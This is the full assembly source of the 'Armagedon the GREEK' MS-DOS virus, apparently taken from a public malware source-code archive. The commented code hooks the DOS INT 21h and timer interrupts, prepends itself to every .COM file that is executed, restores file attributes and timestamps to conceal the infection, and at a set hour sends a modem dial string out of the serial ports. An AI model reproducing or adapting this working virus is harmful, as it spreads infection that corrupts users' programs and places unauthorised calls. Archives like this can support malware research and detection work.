MalwareSourceCode/MSDOS/A-Index/Virus.MSDOS.Unknown.armagedo.asm

524 lines
16 KiB
NASM
Raw Normal View History

2022-08-21 09:07:57 +00:00
dta equ offset last_byte+10
virlen equ (offset last_byte - offset start)
strlen equ (offset endstr - offset startstr)
code segment
assume cs:code,ds:code
org 100h
start: jmp main
newint21 proc far ; SETS THE 'INT 21h' VIRUSED
pushf ; Save flags for compare
cmp ah,0e0h ; Is it exist-test?
jnz notest1 ; if not go on
mov ax,0dadah ; else return signature,
popf ; restore flag and
iret ; return to program
notest1: cmp ah,0e1h
jnz notest2
mov ax,cs
popf
iret
notest2: cmp ax,4b00h ; is 'EXEC' command?
jz infector ; if yes go to 'infection'
do_oldint: popf ; restore flags
jmp dword ptr cs:oldint21a; jump to normal INT 21h
newint21 endp
oldint21a dw ? ; old INT 21h vector (low)
oldint21b dw ? ; old INT 21h vector (high)
oldint8a dw ? ; old INT 8 vector (low)
oldint8b dw ? ; old INT 8 vector (high)
status db 0 ; flag for time (call in progress)
ticks db 0 ; 18.2 tick counter
cur_h db 0 ; Current time (HOURS)
cur_m db 0 ; Current time (MINUTES)
cur_s db 0 ; Current time (SECONDS)
count dw 0 ; dial counter (30 sec, 540 ticks)
garbidge db 0
stringpos db 0
call_made db 0
init_done db 0
comext db 'COM' ; Valid inf. extension
handle dw ? ; inf. handle number
filesize dw 20
prseg dw ?
seg_buffer dw ?
ss_reg dw ?
sp_reg dw ?
fileds dw ?
filedx dw ?
attr dw ?
filedate dw ?
filetime dw ?
env_seg dw 00h
cdline_offs dw 81h
cdline_seg dw ?
fcb1_offs dw 5ch
fcb1_seg dw ?
fcb2_offs dw 6ch
fcb2_seg dw ?
infector proc near ; PROGRAM INFECTOR
assume cs:code ;
push ds ; save registers to
push bx ; insure normal operation
push si ; by the INT 21h (ah=4b00h)
push cx ;
push ax ;
push dx ;
push bp ;
push es ;
push di ;
cld ; Reset direction to increament
push dx ; Store the address of the
push ds ; filespec (DS:DX)
xor cx,cx ; reset counter
mov si,dx ; set ptr to filespec
nxtchr: mov al,ds:[si] ; take a char
cmp al,0 ; is it zero?
jz okay ; if yes goto okay
inc cx ; else increase counter
inc si ; and pointer
jmp nxtchr ; take the next chr if CX>0
okay:
add dx,cx ; Point to end of filespec
sub dx,3 ; point to .EXT
mov si,offset comext ; Check if it is a
mov di,dx ; .COM file
cmp byte ptr ds:[di-3],'N';
jnz ok_1 ; Is it a ND. ?
cmp byte ptr ds:[di-2],'D'; if yes exit!
jz nmatch ;
ok_1: mov cx,3 ; checking counter in 3
cmp_loop: mov al,cs:[si] ; take 1st ptr's chr
cmp al,ds:[di] ; and compare it with filespec
jnz nmatch ; If no matching, exit
inc si ; else increase 1st ptr
inc di ; and second ptr
loop cmp_loop ; take next compare if CX>0
pop ds ; restore ds and dx to point
pop dx ;
push dx ; Store pointer
push ds ;
mov si,dx ; Check if filespec
mov dl,0 ; contains a drive
cmp byte ptr ds:[si+1],':'; letter
jnz nodrive ; If no jump to nodrive spec.
mov dl,ds:[si] ; else take the drive in DL
and dl,0fh ; and modify for int 21h (ah=36h)
nodrive: mov ah,36h ; Take free disk space of DL disk
int 21h ; Do the call
cmp ax,0ffffh ; Was an invalid drive specified?
jz nmatch ; if yes, exit
jmp bypass ; Correct jx 127 limit
nmatch: jmp nomatch
invd: jmp invdrive
closeit1: jmp closeit
resdta1: jmp resdta
bypass: cmp bx,3 ; Are there at least 3 clust. free?
jb nmatch ; If no, exit
pop ds ; restore pointers
pop dx ;
push ds ; and allocate memory
push dx ; for the infection
mov cs:fileds,ds
mov cs:filedx,dx
mov ax,4300h ; code for Get Attr
int 21h
mov cs:attr,cx
mov ax,4301h
xor cx,cx
int 21h
mov bx,0ffffh
mov ah,48h
int 21h
mov ah,48h
int 21h
mov cs:seg_buffer,ax
mov ax,cs
mov ds,ax
mov dx,dta
mov ah,1ah
int 21h
pop dx
pop ds
mov ax,3d02h ; DosFn OPEN FILE (R/W)
clc ; Clear carry flag
int 21h ; Do open
jc closeit1 ; If Error exit
mov bx,ax ; Handle to BX
mov cs:handle,ax ; save handle
mov cx,0ffffh ; Bytes to read
mov ax,cs:seg_buffer ;
mov ds,ax ;
mov dx,virlen ; DS:DX points to buffer
mov ah,3fh ; DosFn READ FROM FILE
clc ; clear carry flag
int 21h ; Do the call
jc closeit1 ; if error exit
mov cs:filesize,ax ; Num of bytes actually read
;cmp ax,0e000h ; max com size to infect
;ja closeit1 ; if size>max exit
cmp ax,virlen ; if filesize is less than the
jb virit ; virus size then it is clean
mov si,virlen+1 ; Set 1st ptr to START of file
add si,si ; add 1st ptr the length of file
sub si,21 ; and subtract 12 to point to sig.
mov cx,19 ; set the test loop to 10 bytes
mov di,offset signature ; Set 2nd ptr to constant signature
test_sig: mov al,ds:[si] ; take the byte pointed to by SI
mov ah,cs:[di] ; and compare it with the byte
cmp ah,al ; pointed to by DI
jne virit ; if not equal then it is clean!
inc si ; else increase 1st pointer
inc di ; increase 2nd pointer
loop test_sig ; continue with next if CX>0
jmp closeit
virit: mov ax,4200h ; Code for LSEEK (Start)
mov bx,cs:handle ; Handle num in BX
xor cx,cx ; Reset CX
mov dx,cx ; and DX
int 21h ; Do the call
jc closeit
mov si,offset start
mov cx,virlen
xor di,di
mov ax,cs:seg_buffer
mov ds,ax
virusin: mov al,cs:[si]
mov ds:[di],al
inc si
inc di
loop virusin
mov ax,5700h
mov bx,cs:handle
int 21h
mov cs:filetime,cx
mov cs:filedate,dx
mov ax,cs:seg_buffer
mov ds,ax
mov si,virlen
mov al,ds:[si]
add al,11
mov ds:[si],al
xor dx,dx ; DX points to Buffer (file)
mov cx,cs:filesize ; Size of file in CX
add cx,virlen ; But added by Virlen
mov bx,cs:handle ; File handle num in BX
mov ah,40h ; Code for WRITE FILE
int 21h ; Do the call
mov cx,cs:filetime
mov dx,cs:filedate
mov bx,cs:handle
mov ax,5701h
int 21h
closeit: mov bx,cs:handle ; Handle in BX
mov ah,3eh ; Code for CLOSE FILE
int 21h ; Do close it
push cs
pop ds
resdta: mov dx,80h ; Reset the DTA
mov ah,1ah ; in Address 80H
int 21h ; Do call
mov ax,cs:seg_buffer
mov es,ax
mov ah,49h
int 21h
mov ax,cs:fileds ;
mov ds,ax ;
mov dx,cs:filedx ;
mov ax,4301h ;
mov cx,cs:attr ;
int 21h ;
jmp invdrive ; and exit
nomatch:
pop ds
pop dx
jmp notinfect
invdrive:
notinfect:
pop di ; restore registers
pop es ; to their initial
pop bp ; values
pop dx ;
pop ax ;
pop cx ;
pop si ;
pop bx ;
pop ds ;
jmp do_oldint ; return from call
infector endp
newint8 proc far ; VIRUS' TIMER ISR
push bp ;
push ds ; store all registers
push es ; and flags before
push ax ; the new timer
push bx ; operations.
push cx ; Otherwize a 'crush'
push dx ; is unavoidable
push si ;
push di ;
pushf ; Simulate an INT
call dword ptr cs:oldint8a ; Do old timer stuff
call tick ; update virus clock routine
push cs
pop ds
mov ah,5 ; Check if time
mov ch,cur_h ; is now above the
cmp ah,ch ; lower limit (5 o'clock)
ja exitpoint ; if not, exit
mov ah,6 ; Check if time
cmp ah,ch ; is now below the higher limit
jb exitpoint ; if not, exit
mov ah,status ; get the virus status
cmp ah,1 ; test if call in progress
jz in_progress ; if yes goto countdown routine
mov ah,1 ; if not, set the status to
mov status,ah ; indicate 'In progress'
jmp exitpoint ; and exit
in_progress: ; CALL IS IN PROGRESS!
call dial ; else call dial routine
inc count ; CALL_TIMER
mov ax,count
cmp ax,540 ; check for time-out
jne exitpoint ; if not, exit else
xor ax,ax ; set status to indicate
mov status,ah ; 'ready to call'!
mov count,ax ; reset call_timer
mov call_made,ah
exitpoint:
pop di ; restore registers to
pop si ; their values and
pop dx ;
pop cx ;
pop bx ;
pop ax ;
pop es ;
pop ds ;
pop bp ;
iret ; return to program
newint8 endp
tick proc near ; VIRUS' CLOCK ROUTINE
assume cs:code,ds:code
push cs
pop ds
xor al,al
mov ah,ticks ; test if ticks have
cmp ah,17 ; reached limit (17)
jnz incticks ; if no, incerase ticks
mov ah,cur_s ; test if seconds have
cmp ah,59 ; reached limit (59)
jnz incsec ; if no, increase seconds
mov ah,cur_m ; test if minutes have
cmp ah,59 ; reached limit (59)
jnz incmin ; if no, increase minutes
mov ah,cur_h ; test if hours have
cmp ah,23 ; reached limit (23)
jnz inchour ; if no, increase hours
mov cur_h,al ; else reset hours
exitp3: mov cur_m,al ; reset minutes
exitp2: mov cur_s,al ; reset seconds
exitp1: mov ticks,al ; reset ticks
ret ; end exit
incticks: inc ticks ; increase ticks
ret ; and exit
incsec: inc cur_s ; increase seconds
jmp exitp1 ; and exit
incmin: inc cur_m ; increase minutes
jmp exitp2 ; and exit
inchour: inc cur_h ; increase hours
jmp exitp3 ; end exit
tick endp
startstr:
string db '+++aTh0m0s7=35dp081,,,,141'
endstr:
dial proc near
assume cs:code,ds:code
mov al,call_made
cmp al,1
jz exit_dial
mov al,init_done
cmp al,1
jz send_one
mov cx,3
next_init: mov dx,cx
xor ah,ah
mov al,131
int 14h
loop next_init
mov al,1
mov init_done,al
jmp exit_dial
send_one: push cs
pop ds
mov si,offset string
mov al,stringpos
cmp al,strlen
jnz do_send
jmp sendret
do_send: xor ah,ah
add si,ax
next_char: mov al,[si]
mov dx,3f8h
out dx,al
mov dx,2f8h
out dx,al
mov dx,2e8h
out dx,al
mov dx,3e8h
out dx,al
inc stringpos
jmp exit_dial
sendret: mov cx,3
retloop: mov dx,cx
mov al,13
mov ah,1
int 14h
loop retloop
reset: mov ax,0001h
mov call_made,al
mov stringpos,ah
mov init_done,ah
exit_dial: ret
dial endp
main: ; VIRUS' MEMORY INSTALLER
assume cs:code,ds:code ;
mov ah,0e0h ; is VIRUS already
int 21h ; in memory?
cmp ax,0dadah ; if yes then
jnz cont ; terminate, else
jmp already_in
cont: push cs
pop ds
mov ax,3521h ; capture the old
int 21h ; INT 21h vector and
mov oldint21a,bx ; store the absolute address
mov oldint21b,es ; in 'oldint21x' variables
mov dx,offset newint21 ; point to new INT 21h ISR
mov ax,2521h ; replace it to vector
int 21h ;
mov ax,3508h ; capture the old
int 21h ; timer vector and
mov oldint8a,bx ; store the address
mov oldint8b,es ; in 'oldint8x' var
mov dx,offset newint8 ; point to new timer ISR
mov ax,2508h ; replace it to vector
int 21h ;
mov ah,2ch ; get the current
int 21h ; time from DOS
mov cur_h,ch ; and store it
mov cur_m,cl ; for the
mov cur_s,dh ; virus' timer
; RUN PROGRAM!
mov ax,cs:[2ch]
mov ds,ax
xor si,si
loop1: mov al,ds:[si]
cmp al,1
jz exitl1
inc si
jmp loop1
exitl1: inc si
inc si
mov dx,si
mov ax,cs
mov es,ax ; SHRINK BLOCK
mov bx,90
mov ah,4ah
int 21h
mov bx,cs:[81h]
mov ax,cs
mov es,ax
mov cs:fcb1_seg,ax
mov cs:fcb2_seg,ax
mov cs:cdline_seg,ax
mov ax,4b00h
;
;
;
mov cs:ss_reg,ss
mov cs:sp_reg,sp
pushf
call dword ptr cs:oldint21a
mov ax,cs:ss_reg
mov ss,ax
mov ax,cs:sp_reg
mov sp,ax
mov ax,cs
mov ds,ax
mov dx,offset last_byte
int 27h
already_in: mov ah,0e1h
int 21h
mov si,offset pokelabl
mov cs:[si+3],ax
mov ax,offset fix_com
mov cs:[si+1],ax
mov ax,cs:filesize
mov bx,cs
pokelabl: db 0eah,00h,00h,00h,00h
fix_com: mov cx,ax
mov ds,bx
mov si,100h
mov di,100h+virlen
dofix: mov al,ds:[di]
mov ds:[si],al
inc si
inc di
loop dofix
mov si,offset poklb
mov cs:[si+3],ds
mov al,ds:[100h]
sub al,11
mov ds:[100h],al
mov ax,ds
mov es,ax
mov ss,ax
poklb: db 0eah,00h,01h,00h,00h
signature: db 'Armagedon the GREEK'
last_byte: db 90h+11
nop
nop
nop
mov ah,4ch
int 21h
code ends
end start
2021-01-12 23:31:39 +00:00